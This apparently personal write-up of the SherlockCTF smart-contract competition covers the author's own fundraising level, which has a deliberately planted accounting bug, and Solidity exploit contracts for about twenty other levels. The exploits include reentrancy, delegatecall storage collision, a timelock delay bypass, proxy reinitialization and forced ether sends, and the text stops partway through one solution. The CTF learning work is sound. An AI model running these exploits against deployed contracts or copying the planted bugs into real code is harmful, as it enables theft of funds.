Solving SherlockCTF
Overview
SherlockCTF was a collaborative CTF organized by Sherlock and Secureum, for the top 32 participants in february's RACE event. Each participant submitted a CTF level, and for 7 days, the competition was opened. I managed to score 32 points.
This was a great experience overall, I could learn a lot of new concepts and vulnerabilities, but the most important thing: it was fun and I enjoyed it every minute. Big thanks to Rajeev and the Sherlock team!
Info
The complete code for these solutions is at my sherlockctf-solutions github repo.
My submission
There were some restrictions for the submissions:
- Solidity version >= 0.7.0, no floating Solidity versions.
- No assembly allowed
- No levels based on bruteforcing hashes / computational power
- All called contracts must have been deployed by the level creator
The level I created for the competition can be seen here.
1// SPDX-License-Identifier: GPL-3.0
2pragma solidity 0.8.9;
3
4import "@openzeppelin/contracts/utils/Address.sol";
5
6/*
7 This fundraising has the following features:
8 - Anyone can setup a fundraising, for themselves or for others
9 - The beneficiary can be set only once
10 - There's a minimum contribution set by the deployer
11 - There's a target funding set by the deployer
12 - You can donate in your name, or in the name of others
13 - You can repent and get back your collaboration, for a fee
14 - The beneficiary can withdraw the funds:
15 - Anytime, if the funding goal has been met
16 - 30 days from the start of the fundraising otherwise
17 - Anyone can start the funding anytime
18 - The beneficiary can end the funding by withdrawing the funds
19*/
20
21contract Fundraising {
22
23 struct Collaboration {
24 uint256 amount;
25 uint256 timestamp;
26 }
27
28 uint256 immutable _minCollab;
29 uint256 immutable _targetFunds;
30 uint256 fundingEndDate;
31 bool fundraisingOpened;
32
33 address public beneficiary;
34 mapping (address => Collaboration) public collaborations;
35
36
37 modifier onlyBeneficiary() {
38 require (beneficiary == msg.sender, "Not the beneficiary");
39 _;
40 }
41
42 function getBalance() public view returns(uint256) {
43 return address(this).balance;
44 }
45
46 constructor (uint256 minCollab, uint256 targetFunds) {
47 _minCollab = minCollab;
48 _targetFunds = targetFunds;
49 }
50
51 // You can make anyone the beneficiary of your fundraising,
52 // but you can't change it once it was set
53 function setBeneficiary(address newBeneficiary) public {
54 // The beneficiary can only be set once
55 require(beneficiary == address(0), "You can't change the beneficiary anymore");
56
57 // Since the beneficiary needs to retrieve the funds, it can't be a contract
58 bool isContract = Address.isContract(newBeneficiary);
59 require(isContract == false, "The new owner is not valid.");
60
61 beneficiary = newBeneficiary;
62 }
63
64 // You need to start the fundraising to begin receiving funds
65 function startFundraising() public {
66 require(beneficiary != address(0), "Set the beneficiary first");
67 fundingEndDate = block.timestamp + 30 days;
68 fundraisingOpened = true;
69 }
70
71 // Contribute to the fundraising with your own account
72 function fund() public payable {
73 require(msg.value > 0, "You have to contribute something");
74 require(fundraisingOpened, "The fundraising is closed");
75 require(checkAmount(msg.sender, msg.value), "You can't contribute less than minimum");
76
77 // You can fund as many times as you want, as long it's more than the minimum
78 collaborations[msg.sender].amount += msg.value;
79 collaborations[msg.sender].timestamp = block.timestamp;
80 }
81
82 // Contribute to the fundraising in the name of someone else's account
83 function fundAs(address donor) public payable {
84 require(msg.value > 0, "You have to contribute something");
85 require(fundraisingOpened, "The fundraising is closed");
86 require(checkAmount(msg.sender, msg.value), "You can't contribute less than minimum");
87
88 // You can fund for others as many times as you want, as long it's more than the minimum
89 collaborations[donor].amount += msg.value;
90 collaborations[donor].timestamp = block.timestamp;
91 }
92
93 function checkAmount(address user, uint256 amount) internal view returns(bool v){
94 v = (collaborations[user].amount + amount >= _minCollab);
95 }
96
97
98 // Withdraw your funds before the end of the fundraising.
99 // This means you no longer want to contribute anything to the beneficiary.
100 // However, to prevent abuse, a penalty of 10% of your contribution will be burned.
101 function repent() public {
102 require(fundraisingOpened, "The fundraising is closed");
103 require(collaborations[msg.sender].amount >= _minCollab, "Your collaboration is unable to be refunded");
104
105 uint256 available = (collaborations[msg.sender].amount * 90) / 100;
106 uint256 penalty = collaborations[msg.sender].amount - available;
107
108 // To prevent new repentance, set collaboration to 0
109 collaborations[msg.sender].amount = 0;
110 collaborations[msg.sender].timestamp = 0;
111
112 payable(msg.sender).transfer(available);
113 payable(0x000000000000000000000000000000000000dEaD).transfer(penalty);
114 }
115
116 // Get the results of the fundraising
117 function retrieveFunds() public onlyBeneficiary {
118 // The beneficiary can only retrieve the funds if 30 days have passed, or if the funding target is met
119 require(block.timestamp > fundingEndDate || address(this).balance >= _targetFunds, "The fundraising hasn't finished yet");
120
121 fundraisingOpened = false;
122
123 payable(beneficiary).transfer( address(this).balance );
124 }
125
126 // If for some weird reason an account's contribution is invalid, anyone can send the funds back to the account
127 // The caller gets an incentive of 50% of the returned funds
128 function refundInvalid(address user) public {
129 require(collaborations[user].amount < _minCollab && collaborations[user].amount > 0, "Not an invalid amount");
130
131 // Calculate refund and incentives
132 uint256 toReturn = collaborations[user].amount / 2;
133 uint256 incentive = collaborations[user].amount - toReturn;
134
135 // Update internal accounting
136 collaborations[user].amount = 0;
137 collaborations[user].timestamp = 0;
138 collaborations[msg.sender].amount += incentive;
139 collaborations[msg.sender].timestamp = block.timestamp;
140
141 // Move the funds
142 payable(user).transfer(toReturn);
143 payable(msg.sender).transfer(incentive);
144 }
145
146 receive() external payable {
147 revert();
148 }
149
150 fallback() external {
151 revert();
152 }
153
154}
It was a simple level that implemented a fundraising contract, where anybody could donate ether, given that the donation is higher than a minimum value configured in the deployed instance. To solve the challenge, the attacker had to find a way to drain all ether deposited in the contract.
When creating the level, I didn't want to fall into well-known vulnerabilities such as reentrancy, uninitialized storage pointers, and such. Also, integer overflows would be easy to find, since using Solidity < 0.8 would have been a big eye-opener. External calls are easily detected by VSCode plugins. So I decided to create an internal accounting bug, not easy to see at first sight, that it would force the attacker read and analyze the contract manually.
The first bug is introduced in the fundAs(address)
function. This function was meant for the contract to accept donations on behalf of an address
different than msg.sender
. The sanity check that reverts when the donation is less than the minimum actually checked against msg.sender
's total donated value, instead of checking against address
'. This allowed anyone to contribute more than the minimum using fund()
, and then call fundAs(address)
with a donation below the minimum. The check would pass in that case, and the contract would accept the donation.
Now, the refundInvalid(address)
function allows anyone who finds an invalid contribution (that is, less than the minimum value) to get rewarded with 50% of its value. The idea behind this function was to incentivize people to eliminate invalid donations. This had another bug, the main one related to accounting that duplicated the refund. The first refund would go to the internal contribution counter, and the second would be sent as Ether to the calling user.
This had the effect of increasing msg.sender
's donation while at the same time decreasing the contract's balance. Playing with these functions allowed the attacker to make the contributions of msg.sender
equal to the contract's balance, allowing them to call repent()
and empty the contract.
The exploit I created implemented the steps detailed above to withdraw all ether from the fundraising:
1pragma solidity 0.8.9;
2
3import './Fundraising.sol';
4
5contract FundraisingAttacker {
6
7 constructor(Fundraising instance) payable {
8 require(msg.value >= 10000 gwei);
9
10 instance.fund{value:1000 gwei}();
11 uint256 amount;
12
13 (amount, ) = instance.collaborations(address(this));
14
15 while(amount < instance.getBalance()) {
16 // Funding as any address will work
17 instance.fundAs{value:(1000 gwei) - 1}(0x000000000000000000000000000000000000dEaD);
18 instance.refundInvalid(0x000000000000000000000000000000000000dEaD);
19 (amount, ) = instance.collaborations(address(this));
20 }
21 instance.repent();
22 }
23 receive() external payable { }
24}
Solved levels
0xmoostorm - Collision Exchange
This challenge deployed two contracts: CollisionExchange
and OrderBook
. The former implemented the logic needed to deposit and withdraw Ether, while the latter contained the logic to post trades and emit an event.
The flaw was in the postTrade(uint)
function of CollisionExchange
, as it called the OrderBook
instance via a delegate call. The OrderBook
contract would then overwrite slots 0 and 1 from CollisionExchange
's storage, therefore letting anyone become the owner. Once the attacker owns the contract, it can be emptied via the emergencyWithdraw()
function.
The exploit was simple, it consisted in nothing more than calling postTrade(uint)
and then emergencyWithdraw()
.
1pragma solidity 0.8.7;
2
3import "./CollisionExchange.sol";
4
5contract OxmoostormAttacker {
6
7 constructor(CollisionExchange instance) payable {
8 instance.postTrade(0);
9 instance.emergencyWithdraw();
10 }
11
12 receive() external payable { }
13}
Baraa42 - Casino
This one allegedly implemented a Casino-like game. I didn't get to read the contract deeply, because there was an evident fault with the winning logic in Setup.sol
.
To solve the level, the condition was to make the Casino
instance balance higher than the deposits, plus the prizes, plus the jackpot. However, all those variables started at 0 on deployment, as the contract was not funded by the deployer.
The attack consisted in force-sending Ether to the Casino
instance, therefore solving the challenge.
1pragma solidity 0.8.0;
2
3import "./Casino.sol";
4
5contract ForceMoney {
6 address target;
7
8 constructor(address t) payable {
9 require(msg.value > 0);
10 target = t;
11 }
12
13 function die() public {
14 selfdestruct(payable(target));
15 }
16}
17
18contract Baraa42Attacker {
19 constructor(Casino instance) payable {
20 require(msg.value > 0);
21 ForceMoney f = new ForceMoney{value: msg.value}(address(instance));
22 f.die();
23 }
24
25 receive() external payable { }
26}
BowTiedPickle - Padlock
This padlock implementation had 3 tumblers, implemented as independent functions, that were to be "solved" in sequence.
- The first one required providing the correct password
- The second one required a
msg.value
equal to 33 - The third and last one required that the argument was equal to a constant
At first sight it looked like a simple challenge. After all, the password was hidden in plain sight in line 10 of Setup.sol
... was it?
If you see the code on GitHub or any IDE such as VSCode, they will show special unicode characters that are not visible, called Right-to-Left Override and Left-to-Right Override. These special characters and make the writing right-to-left or left-to-right, respectively. So, the password seen in the text file is actually reversed.
Other than that, the attack consisted in calling the pick functions in sequence to unlock the padlock. Note that in my solution, the RTLO and LTRO characters are still present, as I copied the value directly from the Setup
contract.
1pragma solidity 0.8.4;
2
3import "./Padlock.sol";
4
5contract BowTiedPickleAttacker {
6
7 constructor(Padlock instance) payable {
8 require(msg.value == 33 wei);
9
10 instance.pick1(unicode"6167209");
11 instance.pick2{value: 33 wei}();
12 instance.pick3(0x69420000000000000000000000000000);
13
14 instance.open();
15
16 }
17
18 receive() external payable { }
19}
JustDravee - SheerLocking
An interesting, Sherlock Holmes themed contract with the only objective of playing tricks with your mind. There was no vulnerability, but instead, the whole contract was designed to force the attacker to actually read the code and see what the functions were expecting.
There were 7 unSheerLock
functions that were to be called in sequence with arguments that met the conditions for each one. However, I still think Johnny Lee Miller was the best personification of Sherlock.
1pragma solidity 0.8.4;
2
3import "./SheerLocking.sol";
4
5contract JustDraveeAttacker {
6
7 bytes8 constant key = 0x0100000000000102;
8
9 constructor(SheerLocking instance) payable {
10
11 instance.unSheerLock1{value: 24725 wei}("Bene", "dict Cumber", "batch is t", "he b", "est", key);
12 instance.unSheerLock2("", "", "ice too. I waited so long for season 4 :'( ", "Jim Moriarty is n", "", key);
13 instance.unSheerLock3("The Woman", " is Missy", "", "/", "The Master in Doctor Who", key);
14 instance.unSheerLock4("", "", "John Watson had a role in Ali G (Ricky C) ", "", "", key);
15 instance.unSheerLock5("Henry Cavil", "", "l: Sherlock of Ste", "el and Enola's big bro", "", key);
16 instance.unSheerLock6("Sir Arthur Conan Doy", "le died in 1930, so copyright on Sher", "", "lock Holmes expired in 2000 in the UK", key);
17 instance.unSheerLock7("Jonny Lee M", "iller and Lu", "", "cy Liu were a g", "ood team too!", key);
18
19 }
20
21 receive() external payable { }
22
23}
PeterisPrieditis - StableSwap2
This contract implemented a DEx with the capability of swapping stablecoins, deployed to work with a mocked version of USDC, USDT, and BUSD. The owner of the StableSwap2
is allowed to add more coins to be used, every token is considered to be equally valued at exactly 1 USD, and there's a fixed fee of 0.3% for each swap between coins. The initial balance of the contract is 10000 for each coin, and there's a free-to-use faucet for a limit of 1000 units of USDC.
There's another flaw in Setup.sol
, as the totalValue
variable in the isSolved()
function is overwritten twice, so the real value for the comparison is just the amount of BUSD in the StableSwap2
instance.
The vulnerability lied in the donate(uint256)
function, as it uses an uninitialized storage pointer. This allows the attacker to overwrite the owner
variable (inherited from Ownable
and thus not seen in the contract). Once the attacker becomes the new owner, adding a new token to the swap and extracting the BUSD from the instance will solve the challenge.
1pragma solidity 0.8.0;
2
3import "./Setup.sol";
4
5contract PeterisPrieditisAttacker {
6
7 constructor(Setup instance) payable {
8 ERC20 USDC = instance.USDC();
9 ERC20 BUSD = instance.BUSD();
10 StableSwap2 SSwap = StableSwap2(instance.instance());
11 ERC20PresetFixedSupply solverToken = new ERC20PresetFixedSupply("SolverToken Stablecoin","STKS",100000,address(this));
12 solverToken.transfer(address(SSwap), 10000);
13
14 instance.faucet(1000);
15 USDC.approve(address(SSwap), type(uint256).max);
16
17 uint256[] memory amounts = new uint256[](3);
18 amounts[0] = 1000;
19 amounts[1] = 0;
20 amounts[2] = 0;
21
22 SSwap.mint(amounts);
23 SSwap.donate(1); // Owned
24
25 SSwap.addCollateral(address(solverToken));
26 solverToken.approve(address(SSwap), type(uint256).max);
27 SSwap.swap(address(solverToken), 9995, address(BUSD));
28 }
29}
Thro77le - Challenge
This challenge had no vulnerability, but instead was meant to make the attacker study how contract deployment works. It reminded me of CaptureTheEther's Fuzzy Identity, so the solution is similar.
The contract required the attacker to deploy a contract to an address that contained the f0b1d
hex string somewhere, and that this address was funded at the moment of deployment. This means that the requirement was to pre-calculate a deployment address that met the requirements, and then fund it prior to deploying any contract to it.
I used the following Python script to bruteforce the seed needed to comply with the deployment address' restrictions. The address was hardcoded as I already knew the account I was going to use for deployment, and I got the bytecode for the contract to be deployed (an empty contract) from Remix.
1from web3 import Web3
2
3deployingAddr = "FD4f30C20dA65a37fd74d55B257442a08469e6A6"
4addrbytes = bytes.fromhex(deployingAddr)
5bytecode = "6080604052348015600f57600080fd5b50603f80601d6000396000f3fe6080604052600080fdfea264697066735822122051263de48b020bfd029cc7b233b6549029f593de824f0aec76af62fef252447264736f6c63430008040033"
6
7hashbytecode = Web3.keccak(hexstr=bytecode)
8salt = 1
9
10header = bytes.fromhex("ff") + addrbytes
11
12while 1:
13 salthex = Web3.toHex(salt)[2:]
14 saltbytes = '0' * (64 - len(salthex)) + salthex
15
16 predicted = Web3.toHex(Web3.keccak( header + bytes.fromhex(saltbytes) + hashbytecode))[-40:]
17
18 if "f0b1d" in predicted:
19 print("0x" + predicted)
20 print(saltbytes)
21 exit()
22 else:
23 salt = salt+1
1pragma solidity 0.8.4;
2
3import "./Challenge.sol";
4
5contract EmptyOne {
6}
7
8contract Thro77leAttacker {
9
10 bytes c = hex"6080604052348015600f57600080fd5b50603f80601d6000396000f3fe6080604052600080fdfea264697066735822122051263de48b020bfd029cc7b233b6549029f593de824f0aec76af62fef252447264736f6c63430008040033";
11
12 constructor(Challenge instance) payable {
13 require(msg.value >= 0.1 ether);
14
15 bytes memory code = c;
16
17 payable(0x54b77d402614522EA00064a7f218F1340CF0b1DE).transfer(msg.value);
18 instance.createContract(code, 21199);
19 }
20 receive() external payable { }
21}
agusduha - TheKingIsDeadLongLiveTheKing
This was one of the contracts that took me the longest to figure out how to solve, until I found Santiago Palladino's excellent post of the vulnerability. I didn't know about it before starting the CTF so this is one of the things I learned. At first, the challenge looked like Ethernaut's Level 25: Motorbike, but in this case the proxy owner was not in control of the attacker.
In summary, the KingVault
contract is deployed as an UUPS-Upgradeable proxy, and the ownership of that proxy is a self-administered GovernanceTimelock
instance. The vulnerability allows the attacker to force the Timelock to execute tasks not allowed bypassing the timeout requirement, by custom crafting a batch call that updates the delay. After that, the attacker can give ADMIN_ROLE
to anyone and thus do anything with the contract.
Once the attacker contract has the ADMIN_ROLE
for the GovernanceTimelock
, it can schedule and execute an action to update the KingVault
instance implementation with one containing a selfdestruct
call to drain the proxy.
1pragma solidity 0.8.4;
2
3import "./Setup.sol";
4
5contract Killer is UUPSUpgradeable {
6
7 function attack(address gt, address att) public {
8 GovernanceTimelock g = GovernanceTimelock(payable(gt));
9
10 address[] memory batch1_addresses = new address[](4);
11 uint256[] memory batch1_values = new uint256[](4);
12 bytes[] memory batch1_calldata = new bytes[](4);
13
14 g.grantRole(keccak256("PROPOSER_ROLE"), address(this));
15
16 //Batch 1
17 //First call to updateDelay
18 batch1_addresses[0] = address(gt);
19 batch1_values[0] = 0;
20 batch1_calldata[0] = abi.encodeWithSignature("updateDelay(uint64)", uint64(0));
21
22 //Then call to grantrole
23 batch1_addresses[1] = address(gt);
24 batch1_values[1] = 0;
25 batch1_calldata[1] = abi.encodeWithSignature("grantRole(bytes32,address)", keccak256("ADMIN_ROLE"), address(this));
26
27 batch1_addresses[2] = address(gt);
28 batch1_values[2] = 0;
29 batch1_calldata[2] = abi.encodeWithSignature("grantRole(bytes32,address)", keccak256("ADMIN_ROLE"), address(att));
30
31 //Last call to relay the attack to the contract
32 batch1_addresses[3] = address(this);
33 batch1_values[3] = 0;
34 batch1_calldata[3] = abi.encodeWithSignature("attack(address,address)", address(gt), address(att));
35
36 g.schedule(batch1_addresses, batch1_values, batch1_calldata, 0);
37
38 }
39
40 function kill() public {
41 selfdestruct(payable(address(0)));
42 }
43
44 function _authorizeUpgrade(address newImplementation) internal override {}
45}
46
47contract agusduhaAttacker {
48
49 KingVault kv;
50 KingVault kvp;
51 GovernanceTimelock gt;
52
53 address[] batch1_addresses;
54 uint256[] batch1_values;
55 bytes[] batch1_calldata;
56
57 address[] batch2_addresses;
58 uint256[] batch2_values;
59 bytes[] batch2_calldata;
60
61 constructor(address inst) payable {
62 kv = Setup(inst).kingVault();
63 kvp = KingVault(address(Setup(inst).instance()));
64 gt = GovernanceTimelock(payable(kvp.owner()));
65 Killer k = new Killer();
66
67 //Batch 1
68 //First call to updateDelay
69 batch1_addresses.push(address(gt));
70 batch1_values.push(0);
71 batch1_calldata.push(abi.encodeWithSignature("updateDelay(uint64)", uint64(0)));
72
73 //Then call to grantrole
74 batch1_addresses.push(address(gt));
75 batch1_values.push(0);
76 batch1_calldata.push(abi.encodeWithSignature("grantRole(bytes32,address)", keccak256("ADMIN_ROLE"), address(k)));
77
78 batch1_addresses.push(address(gt));
79 batch1_values.push(0);
80 batch1_calldata.push(abi.encodeWithSignature("grantRole(bytes32,address)", keccak256("ADMIN_ROLE"), address(this)));
81
82 //Last call to relay the attack to the contract
83 batch1_addresses.push(address(k));
84 batch1_values.push(0);
85 batch1_calldata.push(abi.encodeWithSignature("attack(address,address)", address(gt), address(this)));
86
87 //Call
88 gt.execute(batch1_addresses, batch1_values, batch1_calldata, 0);
89 gt.grantRole(keccak256("PROPOSER_ROLE"), address(this));
90
91 batch2_addresses.push(address(kvp));
92 batch2_values.push(0);
93 batch2_calldata.push(abi.encodeWithSignature("upgradeToAndCall(address,bytes)", address(k), hex"41c0e1b5"));
94
95 gt.schedule(batch2_addresses, batch2_values, batch2_calldata, 0);
96 gt.execute(batch2_addresses, batch2_values, batch2_calldata, 0);
97
98 }
99 receive() external payable { }
100}
bahurum - Inflation
The contract implements an inflationary token that mints some percentage of the total supply every 2 operations. These operations include minting, burning, or transferring tokens. The goal is to empty the instance's balance.
At first sight there's nothing vulnerable in the contract, and since the token mints, the balance is ever increasing. However, there's a bug in the burnFrom(address,uint256)
implementation that calls _spendAllowance(address,address,uint256)
with the wrong argument order. This allows to burn tokens on behalf of the instance. However, since the contract mints in the burnFrom(address,uint256)
call, the function has to be called twice.
1pragma solidity 0.8.4;
2
3import "./Setup.sol";
4
5contract bahurumAttacker {
6
7 constructor(Inflation instance) payable {
8 InflationaryToken(instance.tokenAddress()).approve(address(instance), 5000);
9 InflationaryToken(instance.tokenAddress()).burnFrom(address(instance), 1000);
10 InflationaryToken(instance.tokenAddress()).burnFrom(address(instance), 100);
11 }
12 receive() external payable { }
13}
band0x - BecomeMaster
The contract has two roles: admin
and master
. master
gets initialized to the Setup
contract upon deployment, and the goal to beat the level is to change the master
and empty the instance balance. There are two convenient functions for these actions: takeMasterRole()
that only the admin
can call, and collectAllocations
, that only the master
can call. Also there's another convenient function to become admin, called allocate()
.
The contract uses tx.origin
to validate the addresses, and some functions implement a modifier that allows them to be called from contracts. However, the solution was simple enough.
1pragma solidity 0.8.11;
2
3import "./BecomeMaster.sol";
4
5contract band0xAttacker {
6
7 constructor(BecomeMaster instance) payable {
8 instance.allocate();
9 instance.takeMasterRole();
10 instance.collectAllocations();
11 }
12 receive() external payable { }
13}
chaboo - SwissTreasury
This challenge implements the same vulnerability as agusduha, but way better hidden. In fact, the author used an old version of an OpenZeppelin library that still had the bug, so it was a bit difficult to test locally without knowing this detail. Checking the verified contracts on Etherscan showed the bug is present and the exploit is similar to agusduha's. Definitely evil.
1pragma solidity 0.8.4;
2
3import "./Setup.sol";
4
5contract Helper {
6
7 function attack(address inst, address exp) public {
8
9 TimelockController tc = TimelockController(payable(inst));
10
11 address[] memory batch1_addresses = new address[](4);
12 uint256[] memory batch1_values = new uint256[](4);
13 bytes[] memory batch1_calldata = new bytes[](4);
14
15 tc.grantRole(keccak256("PROPOSER_ROLE"), address(this));
16
17
18 //Batch 1
19 //First call to updateDelay
20 batch1_addresses[0] = address(inst);
21 batch1_values[0] = 0;
22 batch1_calldata[0] = abi.encodeWithSignature("updateDelay(uint256)", uint256(0));
23
24 //Then call to grantrole
25 batch1_addresses[1] = address(inst);
26 batch1_values[1] = 0;
27 batch1_calldata[1] = abi.encodeWithSignature("grantRole(bytes32,address)", keccak256("TIMELOCK_ADMIN_ROLE"), address(this));
28
29 batch1_addresses[2] = address(inst);
30 batch1_values[2] = 0;
31 batch1_calldata[2] = abi.encodeWithSignature("grantRole(bytes32,address)", keccak256("TIMELOCK_ADMIN_ROLE"), address(exp));
32
33 //Then call to relay the attack to the contract
34 batch1_addresses[3] = address(this);
35 batch1_values[3] = 0;
36 batch1_calldata[3] = abi.encodeWithSignature("attack(address,address)", address(inst), address(exp));
37
38 tc.scheduleBatch(batch1_addresses, batch1_values, batch1_calldata, 0, 0, 0);
39
40 }
41
42}
43
44contract chabooAttacker {
45
46 address[] batch1_addresses;
47 uint256[] batch1_values;
48 bytes[] batch1_calldata;
49
50 address[] batch2_addresses;
51 uint256[] batch2_values;
52 bytes[] batch2_calldata;
53
54 constructor(address inst) payable {
55 Helper h = new Helper();
56
57 //Batch 1
58 //First call to updateDelay
59 batch1_addresses.push(address(inst));
60 batch1_values.push(0);
61 batch1_calldata.push(abi.encodeWithSignature("updateDelay(uint256)", uint256(0)));
62
63 //Then call to grantrole
64 batch1_addresses.push(address(inst));
65 batch1_values.push(0);
66 batch1_calldata.push(abi.encodeWithSignature("grantRole(bytes32,address)", keccak256("TIMELOCK_ADMIN_ROLE"), address(h)));
67
68 batch1_addresses.push(address(inst));
69 batch1_values.push(0);
70 batch1_calldata.push(abi.encodeWithSignature("grantRole(bytes32,address)", keccak256("TIMELOCK_ADMIN_ROLE"), address(this)));
71
72 //Then call to relay the attack to the contract
73 batch1_addresses.push(address(h));
74 batch1_values.push(0);
75 batch1_calldata.push(abi.encodeWithSignature("attack(address,address)", address(inst), address(this)));
76
77 //Call
78 TimelockController(payable(inst)).executeBatch(batch1_addresses, batch1_values, batch1_calldata, 0, 0);
79 TimelockController(payable(inst)).grantRole(keccak256("PROPOSER_ROLE"), address(this));
80
81 address target = address(inst);
82 uint256 value = 0;
83 bytes memory call_data = abi.encodeWithSignature("distributeFunds(address,uint256)", address(tx.origin), 1 ether);
84
85 TimelockController(payable(inst)).schedule(target, value, call_data, 0, 0, 0);
86 TimelockController(payable(inst)).execute(target, value, call_data, 0, 0);
87
88 }
89
90 receive() external payable { }
91
92}
ebaizel - PixelPavel
This one also falls in the educational challenges. In this case, the lesson is about abi encodings and argument passing to functions. The crackCode(uint8)
function expects a uint8
as argument, however, the body of the function reads the msg.data
(that is, the data passed to the function called) as bytes32
and compares it to an uint256
constant.
The exploit consists in manually crafting the msg.data
such that when read as an uint8
the value is equal to 42
, and when read as bytes32
the value is equal to the bytes32
representation of 298
. It helps that 42 and 298 differ only in the ninth bit, but the concept can be applied to any values that share the lowest 8 bits.
1pragma solidity 0.7.6;
2
3import "./PixelPavel.sol";
4
5contract ebaizelAttacker {
6
7 constructor(PixelPavel instance) public payable {
8 bytes memory data = abi.encodePacked(bytes4(0xa4e0b0eb), bytes32(0x000000000000000000000000000000000000000000000000000000000000012a));
9 (bool success, ) = address(instance).call(data);
10 require(success);
11 }
12
13 receive() external payable {
14 }
15
16}
hack3r-0m - BitMania
This is an implementation of AdventCTF 2014's XOR challenge. The decoder was similar to this one.
1pragma solidity 0.8.4;
2
3import "./BitMania.sol";
4
5contract hack3r0mAttacker {
6
7 constructor(BitMania instance) payable {
8 instance.solveIt("SHERLOCK_CTF_0x0_WINNER_333");
9 }
10
11 receive() external payable { }
12}
iflp - ExampleQuizExploit (default name for the template)
This contract implemented a random number generator in one contract, and a guessing game in another. The goal was to guess the correct number. The deployed instance of Lollercoaster
was not known, but it was easy to find out in the Setup
contract deployment transaction.
The solution was as simple as calling the RNG by address, since the random number is constant for the block.
1
2pragma solidity 0.7.0;
3
4import "./ExampleQuizExploit.sol";
5
6contract iflpAttacker {
7
8 function attack(ExampleQuizExploit instance) public payable {
9 require(msg.value == 1 ether);
10 instance.guess{value: 1 ether}(Lollercoaster(0x25Be61724B64117DC9aC9DDd2A06B7DEc052D5cb).randInt(1000000));
11 }
12 receive() external payable { }
13}
johngish - Challenge
The contract implemented another guess game, with the solution not hidden at all. Once the solution is known, the contract delegatecalls msg.sender
's receive()
function. The goal was to deplete the instance's balance.
The solution consists in creating a contract with a receive()
function that transfers the balance out of the instance.
1pragma solidity 0.8.4;
2
3import "./Challenge.sol";
4
5contract johngishAttacker {
6
7 function attack(Challenge instance) public payable {
8 require(msg.value == 100 wei);
9 instance.guess{value: 100 wei}(42);
10 }
11 receive() external payable {
12 payable(tx.origin).transfer(address(this).balance);
13 }
14}
kankan-0 - Dead
The goal is to empty the instance's balance. The function that implements the funds transfer needs the caller to be the killer
. To become the killer
, the caller has to have a balance higher than the fee
, but nobody can make deposits valued 0.1 ether
or more. Prior to that, the timeToKill
flag must be set, and the caller must be registered in the contract.
The solution is to read the previous paragraph in the reverse order. First set the flags, then deposit until the caller becomes killer
, then call the function to withdraw the funds. Good news: the fee
contract variable equal to 1000 ether
is shadowed in the becomeKiller()
function, so the actual funds needed are not that high.
1pragma solidity 0.7.4;
2
3import "./Dead.sol";
4
5contract kankan0Attacker {
6
7 constructor(Dead instance) payable {
8 require(msg.value > 0.65 ether);
9 instance.register{value: 0.01 ether}();
10 instance.canKill();
11 for(uint8 i = 0; i < 6; i++) {
12 instance.becomeKiller{value:0.099 ether}();
13 }
14 instance.kill();
15 }
16
17 receive() external payable { }
18
19}
kuldeep23907 - Challenge
The challenge implements a function called callSloganContract(bytes)
that allows the caller to call a function on a Slogan
contract. This Slogan
contract is actually a ERC1967 proxy whose initialize(address,bytes)
function lacks the initializer
modifier. That means anyone can call the function again, even if it has been already initialized, and upgrade it to proxy an existing contract.
The solution is to create a contract that will be used as the new implementation for the proxy, where there's a function to empty the proxy's balance.
1pragma solidity 0.8.4;
2
3import "./Setup.sol";
4
5contract kuldeepAttacker {
6
7 Challenge instance;
8
9 constructor(Challenge inst) payable {
10 instance = inst;
11 }
12
13 function solve() public {
14 instance.callSloganContract(abi.encodeWithSignature("initialize(address,bytes)", address(this), hex"9e5faafc"));
15 }
16
17 function attack() public {
18 payable(msg.sender).transfer(address(this).balance);
19 }
20
21 receive() external payable {
22 }
23}
mhchia - CrowdFunding
A crowdfunding contract where you can start and stop campaigns, and get a refund for the whole balance of the instance. To get a refund for a campaignID
, the caller should not be the campaign owner, and the caller has to be funderID
for the campaign.
The bug lies in the stopCampaign(uint)
function, because it cleans the campaignID
, but not the funders for it. That means that if the campaign is closed, any funder can get refunded for an amount equal to the whole balance.
1pragma solidity 0.8.4;
2
3import "./CrowdFunding.sol";
4
5contract mhchiaAttacker {
6
7 constructor(CrowdFunding instance) payable {
8 require(msg.value > 2 wei);
9 instance.startCampaign{value: 1 wei}();
10 instance.stopCampaign(0);
11 instance.getRefund{value: 1 wei}(0, 0);
12 }
13
14 receive() external payable { }
15
16}
naps62 - BuiltByANoob
The goal is to make the won()
function of the contract return true. That means the _toInt()
function should return 71764438432
, and writes
must be greater than 4. For the first condition, memo
should contain the bytes representation of the integer constant. For the second condition, writes
gets incremented everytime any of write0()
or write255()
is called.
The solution, then, lies in building the bytes needed by calling write0()
, setHalfByte(bytes1)
and shiftLeft(uint8)
as needed. The rest of the code was decoration to distract the attacker.
1pragma solidity 0.7.2;
2
3import "./BuiltByANoob.sol";
4
5contract naps62Attacker {
6
7 uint8[] values = [0x01, 0x00, 0x0b, 0x05, 0x07, 0x0e, 0x06, 0x0d, 0xa, 0x00];
8
9 constructor(BuiltByANoob instance) payable {
10
11 instance.write0();
12
13 for(uint i = 0; i < values.length/2; i++) {
14 bytes1 n1 = bytes1(values[2*i]);
15 bytes1 n2 = bytes1(values[2*i+1]);
16
17 instance.write0();
18 instance.setHalfByte(n1);
19 instance.shiftLeft(4);
20 instance.setHalfByte(n2);
21 }
22 }
23 receive() external payable { }
24}
saianmk - Combination
I solved this challenge using a pen and a paper, backtracking from cam3Val
back to cam1Val
what values should be dialed in to obtain the desired ones. No on-chain solution here, sorry!
1pragma solidity 0.8.4;
2
3import "./Combination.sol";
4
5contract saianmkAttacker {
6
7 constructor(Combination instance) payable {
8 instance.dial(7, true);
9 instance.dial(7, false);
10 instance.dial(1, true);
11 instance.unlock(0x4b);
12 }
13
14 receive() external payable { }
15
16}
sidduHERE - ExampleQuizExploit (default name for the template)
This contract has a textbook reentrancy vulnerability, so the solution is a textbook reentrancy exploit :)
1pragma solidity 0.8.4;
2
3import "./ExampleQuizExploit.sol";
4
5contract sidduHEREAttacker {
6
7 function attack(ExampleQuizExploit instance) public payable {
8 require(msg.value >= 1 ether);
9 instance.deposit{value: 1 ether}();
10 instance.withdraw();
11 }
12
13 receive() external payable {
14 if(msg.sender.balance > 0) {
15 ExampleQuizExploit(msg.sender).withdraw();
16 }
17 }
18}
smbsp - CollectReward
As stated on the first comment of the contract, the goal is to find the correct _startTime
to get a reward. That means, to solve the level.
To solve this level, I had to go and check Etherscan for the programStartTime
and deploymentBlock
variables. Once the values were known, using Remix I printed out the correct value for the reward in _computeReward(uint256,uint256)
to be greater than zero.
1pragma solidity 0.8.4;
2
3import "./Setup.sol";
4
